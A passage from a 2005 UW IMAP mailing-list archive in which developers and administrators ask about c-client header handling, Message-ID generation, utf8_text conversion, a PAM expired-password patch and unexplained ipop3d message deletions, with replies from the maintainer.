that you call a routine (which you also > write) called my_rfc822_header() instead of the c-client rfc822_header(). > > rfc822_header() is really a sample routine, and not something that you > should use in production; among other things, it doesn't check for > buffer overflows. Your routine should do so. You do, however, need > to look at rfc822_header() to see what sorts of things that you need > to do in your routine. > >> Where are the X-headers, anyway? in the Envelope, Body? > > > X-headers are not registered headers, and thus do not appear in the > ENVELOPE or the BODY. If you need them, you have to fetch them as > header strings via mail_fetch_header() with the "lines" argument set > to have the name(s) of the particular X-header fields that you want. > >> Another question: Where and when is the Message-Id generated in >> c-client? > > > It isn't. That is the job of your application when building the > ENVELOPE structure. > >> If I send through the c-client smtp functions, how do I get the >> message-Id back to my code, so that I can store the message complete >> in the sent mailbox? (which I plan to do with the imap append function) > > > As noted above, your application sets env->message_id itself. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 18 07:36:36 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 18 May 2005 07:36:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEaaP7008424 for ; Wed, 18 May 2005 07:36:36 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEaXhU008128 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 May 2005 07:36:33 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEaEUa032170; Wed, 18 May 2005 07:36:14 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEaDuj032162 for ; Wed, 18 May 2005 07:36:13 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEaCnd016255 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 18 May 2005 07:36:12 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEaCKH031494; Wed, 18 May 2005 07:36:12 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IEa0SE016013 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 18 May 2005 07:36:11 -0700 Date: Wed, 18 May 2005 07:35:59 -0700 (PDT) From: Mark Crispin To: Mike Schmidt Subject: Re: [Imap-uw] c-client and smtp In-Reply-To: <428B4FC0.1030200@sepia.com> Message-ID: References: <4289F166.6040705@sepia.com> <428B4FC0.1030200@sepia.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 18 May 2005, Mike Schmidt wrote: > Do you have any suggestions as to open source code that generates the > message-Id? Or specific well-known algorithms? I suppose this is a > roll-your-own situation. It is a roll-your-own. As long as the result complies with the syntax for Message-ID and will not be duplicated in another message, you can use pretty much anything you want. It is fairly conventional to have the DNS name of the composing system appear to the right of the "@" in the Message-ID, but this is not required. Ignore anyone who says it is required; such individuals are misinformed and are likely to pass on other misinformation. Typically, the left side of the "@" contains the time of day in some form (e.g. number of seconds since January 1, 1970) along with some other values. UNIX process ID, results from whatever random number generator exists on your system, etc. > There is one thing, though, that I have a question about: In the messages as > they are currently produced, the headers are not in any specific order. With the exception of Received: headers, which are always prepended to the header by the MTA, and ReSent-??? headers which obviously are in a block for each resending, there are no requirements for any header ordering. Neither of these apply to you. Good luck! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 18 08:14:16 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 18 May 2005 08:14:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IFEFfW010075 for ; Wed, 18 May 2005 08:14:15 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IFEEar013749 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 May 2005 08:14:15 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IFDq4v009332; Wed, 18 May 2005 08:13:52 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IFDpaK009312 for ; Wed, 18 May 2005 08:13:51 -0700 Received: from alternator.sgh.waw.pl (alternator.sgh.waw.pl [194.145.96.100]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IFDo7Z027940 for ; Wed, 18 May 2005 08:13:51 -0700 Received: from localhost (localhost [127.0.0.1]) by alternator.sgh.waw.pl (Postfix) with SMTP id 698562AA45A for ; Wed, 18 May 2005 17:13:49 +0200 (CEST) Received: from akson.sgh.waw.pl (akson.sgh.waw.pl [194.145.96.12]) by alternator.sgh.waw.pl (Postfix) with ESMTP id 5CEE22AA457 for ; Wed, 18 May 2005 17:13:48 +0200 (CEST) Received: by akson.sgh.waw.pl (Postfix, from userid 100) id 047493E3E; Wed, 18 May 2005 17:13:49 +0200 (CEST) Date: Wed, 18 May 2005 17:13:48 +0200 From: Piotr KUCHARSKI To: imap-uw@u.washington.edu Message-ID: <20050518151348.GC14222@sgh.waw.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline Content-Transfer-Encoding: 8bit User-Agent: Mutt/1.4.2.1i X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.168 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Subject: [Imap-uw] PAM expired passwords X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, Recently I was faced with a problem: too many user calls about expired passwords. Well, I thought, why not inform people by mail, that their password is valid, but already expired and they have to change it? Turned out to be quite easy. As I use PAM (actually PMB, as it's Solaris), here is the patch: http://akson.sgh.waw.pl/~chopin/unix/imap-2004a+pam_expired_passwd.diff It should be fairly easy to do the same for ckp_sv4 and ckp_svo. Few words about setup: I added "imappublic2" account (as "imappublic" I already have used in my "force gently ssl" patch), but this can be any account (it seems it can be safely locked), make its $HOME/mail readonly, create $HOME/.mailboxlist with "INBOX" line, also read only, create mailbox to contain your message (don't forget to tell clients that their password is valid, but they are required to change it) and also chmod it 0444, so it is not possible to delete this message, obviously. To prevent clients from refetching this message over and over again, header like X-IMAPbase: 1116208079 1 should help. p. PS My message is available (polish and english text) at http://akson.sgh.waw.pl/~chopin/unix/passwd_expired.html -- Beware of he who would deny you access to information, for in his heart he dreams himself your master. -- Commissioner Pravin Lal http://nerdquiz.sgh.waw.pl/ -- polska wersja quizu dla nerdów ;) _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 18 09:02:05 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 18 May 2005 09:02:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG25a0013026 for ; Wed, 18 May 2005 09:02:05 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG24ZP016839 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 May 2005 09:02:05 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG1hOt019914; Wed, 18 May 2005 09:01:43 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IFvLfa018835 for ; Wed, 18 May 2005 08:57:21 -0700 Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.192]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IFvIoV028642 for ; Wed, 18 May 2005 08:57:19 -0700 Received: by wproxy.gmail.com with SMTP id 55so532606wri for ; Wed, 18 May 2005 08:57:18 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=nt0Efz5F4zK0nHwg9U4kpdZghRxjV/OR0741GvBLqwnCrngjzFaUUmuzYc/Ww861YqAzbqPxY9UVDwC1oIaafbXk/dOL0+vSUrZrVzVxelJQutfMnW3Xk3RovAz/yi/MrCdGKyTR4by79KIVty8CNoisoKAr6CQ+ilJhYJMoBoE= Received: by 10.54.14.70 with SMTP id 70mr355073wrn; Wed, 18 May 2005 08:57:18 -0700 (PDT) Received: by 10.54.11.79 with HTTP; Wed, 18 May 2005 08:57:18 -0700 (PDT) Message-ID: <270ea792050518085764cf35d9@mail.gmail.com> Date: Wed, 18 May 2005 17:57:18 +0200 From: Stefan Schulte To: c-client@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Mailman-Approved-At: Wed, 18 May 2005 09:01:42 -0700 Cc: Subject: [Imap-uw] Using utf8_text X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Stefan Schulte List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi all, i have problems in using the function utf8_text to convert a text in iso-8859-1 format to utf-8. Can anybody tell me how I have to correct my example code ? If i print the result I get the converted utf-8 plus some undefined characters. Many thanks Stefan ----------------- source ------------------------ SIZEDTEXT source; SIZEDTEXT dest; char* text =3D (char*) malloc (8); memset(text, 0x0,8); strcpy(text, "Fu=DFball"); source.data =3D (unsigned char*) text; source.size =3D strlen(text); utf8_text(&source, "iso-8859-1", &dest, NIL); _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 18 09:09:56 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 18 May 2005 09:09:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG9t8x013417 for ; Wed, 18 May 2005 09:09:55 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG9tOt017378 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 May 2005 09:09:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG9hOT021666; Wed, 18 May 2005 09:09:43 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG3qsY020178 for ; Wed, 18 May 2005 09:03:52 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG3oAo028470 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 18 May 2005 09:03:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG3ott002332; Wed, 18 May 2005 09:03:50 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IG3lOk029322 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 18 May 2005 09:03:49 -0700 Date: Wed, 18 May 2005 09:03:47 -0700 (PDT) From: Mark Crispin To: Stefan Schulte Subject: Re: [Imap-uw] Using utf8_text In-Reply-To: <270ea792050518085764cf35d9@mail.gmail.com> Message-ID: References: <270ea792050518085764cf35d9@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Mailman-Approved-At: Wed, 18 May 2005 09:09:42 -0700 Cc: c-client@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 18 May 2005, Stefan Schulte wrote: > i have problems in using the function utf8_text to convert a > text in iso-8859-1 format to utf-8. Can anybody tell me > how I have to correct my example code ? > If i print the result I get the converted utf-8 plus some > undefined characters. The string is not null-terminated. You have to use the count to indicate the end of the string. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed May 18 09:23:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 18 May 2005 09:23:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IGNMC9014374 for ; Wed, 18 May 2005 09:23:22 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IGNL0S018331 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 18 May 2005 09:23:22 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IGN94k024475; Wed, 18 May 2005 09:23:09 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IGN8Ua024451 for ; Wed, 18 May 2005 09:23:08 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IGN8B3032522 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 18 May 2005 09:23:08 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IGN5hM020114; Wed, 18 May 2005 09:23:05 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4IGN2If001307 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 18 May 2005 09:23:04 -0700 Date: Wed, 18 May 2005 09:23:02 -0700 (PDT) From: Mark Crispin To: Piotr KUCHARSKI Subject: Re: [Imap-uw] PAM expired passwords In-Reply-To: <20050518151348.GC14222@sgh.waw.pl> Message-ID: References: <20050518151348.GC14222@sgh.waw.pl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.143 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thank you very much for contributing this patch. Although this patch will probably not be incorporated in the official distribution, it is an excellent example of a useful patch that may be of value to other sites. I encourage you (and everybody else) to continue to create and distribute such patches. Thank you once again for your interest and support of UW IMAP! -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu May 19 14:07:59 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 19 May 2005 14:07:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4JL7x9e030624 for ; Thu, 19 May 2005 14:07:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4JL7wb6015987 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 19 May 2005 14:07:59 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4JL7dmE011175; Thu, 19 May 2005 14:07:39 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4JKs5Xr009275 for ; Thu, 19 May 2005 13:54:05 -0700 Received: from earth.cs.uml.edu (earth.cs.uml.edu [129.63.8.56]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4JKs3mB001933 for ; Thu, 19 May 2005 13:54:03 -0700 Received: from [129.63.8.187] (slider.cs.uml.edu [129.63.8.187]) by earth.cs.uml.edu (8.11.6/8.11.6) with ESMTP id j4JKrnw14850 for ; Thu, 19 May 2005 16:54:03 -0400 Mime-Version: 1.0 (Apple Message framework v622) Content-Transfer-Encoding: 7bit Message-Id: <66da63b8f369c567b35819a704b70d45@cs.uml.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed To: imap-uw@u.washington.edu From: Ken Kleiner Date: Thu, 19 May 2005 16:53:43 -0400 X-Mailer: Apple Mail (2.622) X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.136 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Subject: [Imap-uw] Problems with ipop3d/email deletion/outlook? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu One of our users uses MS outlook from home system with DSL link. From time to time, a logout/disconnect from outlook deletes messages! This behavior occurred several nights ago, but as you can see, the process to open the mailbox with PID 8994 didn't close until 4+hours. There were several attempts to read the mail between the open/close, hence the error opening lines. The problem is the ndele=2424 message - what would cause ipop to delete messages if user did not specify to? May 16 21:25:01 server ipop3d[8994]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxxx..19.154.78] nmsgs=2424/2424 May 16 21:43:24 server ipop3d[9318]: Error opening or locking INBOX user=tom host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] May 16 21:43:24 server ipop3d[9318]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] no mailbox May 16 21:43:24 server ipop3d[9318]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2424 ndele=0 May 16 21:47:40 server ipop3d[9356]: Error opening or locking INBOX user=tom host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] May 16 21:47:40 server ipop3d[9356]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] no mailbox May 16 21:47:40 server ipop3d[9356]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2424 ndele=0 May 16 22:01:40 server ipop3d[9694]: Error opening or locking INBOX user=tom host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] May 16 22:01:40 server ipop3d[9694]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] no mailbox May 16 22:01:40 server ipop3d[9694]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2425 ndele=0 May 16 23:28:01 server ipop3d[11632]: Error opening or locking INBOX user=tom host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] May 16 23:28:01 server ipop3d[11632]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] no mailbox May 16 23:28:01 server ipop3d[11632]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2426 ndele=0 ---MESSAGES DELETED HERE--- May 17 00:28:07 server ipop3d[8994]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=6 ndele=2424 ------------------------------------------- May 17 08:27:39 server ipop3d[21151]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=17/17 May 17 08:28:02 server ipop3d[21151]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=17 ndele=0 Here is what normal pop activity should look like, where a logout immediately follows a login for the same PROCESS ID (the number in []): May 15 09:38:50 server ipop3d[30729]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2491/2491 May 15 09:39:04 server ipop3d[30729]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2491 ndele=0 May 15 11:56:15 server ipop3d[316]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2491/2491 May 15 11:56:18 server ipop3d[316]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2491 ndele=0 May 15 11:56:25 server ipop3d[341]: Login user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2491/2491 May 15 11:56:26 server ipop3d[341]: Logout user=user host=blah-xxx-19-154-78.bos.east.verizon.net [xxx.19.154.78] nmsgs=2491 ndele=0 Thanks! <>< ><> <>< ><> <>< ><> <>< ><> <>< ><> <>< Ken Kleiner System Manager Computer Science Department Umass Lowell voice : 978 934 3645 fax : 978 934 3551 cell : 603 305 5800 (emergencies only, please) ken@cs.uml.edu _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu May 19 18:37:37 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 19 May 2005 18:37:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K1bb5c010679 for ; Thu, 19 May 2005 18:37:37 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K1baeg031024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 19 May 2005 18:37:36 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K1a67x029525; Thu, 19 May 2005 18:36:06 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K1a5qE029517 for ; Thu, 19 May 2005 18:36:05 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K1a4KE021094 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 19 May 2005 18:36:05 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K1a37Q017050; Thu, 19 May 2005 18:36:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j4K1a3ep013396 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 19 May 2005 18:36:03 -0700 Date: Thu, 19 May 2005 18:36:03 -0700 (Pacific Daylight Time) From: Mark Crispin To: Ken Kleiner Subject: Re: [Imap-uw] Problems with ipop3d/email deletion/outlook? In-Reply-To: <66da63b8f369c567b35819a704b70d45@cs.uml.edu> Message-ID: References: <66da63b8f369c567b35819a704b70d45@cs.uml.edu> Organization: 